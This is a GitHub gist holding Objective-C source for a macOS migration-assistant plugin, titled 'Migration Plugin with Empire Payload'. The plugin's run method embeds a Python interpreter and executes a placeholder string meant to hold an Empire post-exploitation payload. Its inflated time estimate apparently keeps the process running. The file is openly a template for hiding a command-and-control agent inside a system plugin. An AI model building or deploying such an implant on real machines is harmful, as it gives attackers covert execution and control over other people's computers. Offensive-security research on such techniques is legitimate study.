Skip to content

Instantly share code, notes, and snippets.

@xorrior
Created May 25, 2018 16:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xorrior/397dcb331da86f2b16e6601a08617e9a to your computer and use it in GitHub Desktop.
Save xorrior/397dcb331da86f2b16e6601a08617e9a to your computer and use it in GitHub Desktop.
Migration Plugin with Empire Payload
//
// demoClass.m
// testExampleBundle
//
// Created by Chris Ross on 4/17/18.
// Copyright © 2018 Void. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <objc/objc.h>
#import <Python/Python.h>
#import <locale.h>
#import "SMConfMigratorPlugin.h"
#import <float.h>
@interface CustomTestPlugin : SMConfMigratorPlugin
@end
@implementation CustomTestPlugin
-(NSTimeInterval)estimateTime
{
return 999999;
}
-(void)run
{
NSString *pyCommand = @"EMPIRE PAYLOAD HERE";
const char *command = [pyCommand cStringUsingEncoding:NSASCIIStringEncoding];
setlocale(LC_ALL, "en_US.URF-8");
Py_Initialize();
PyRun_SimpleString(command);
Py_Finalize();
}
@end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment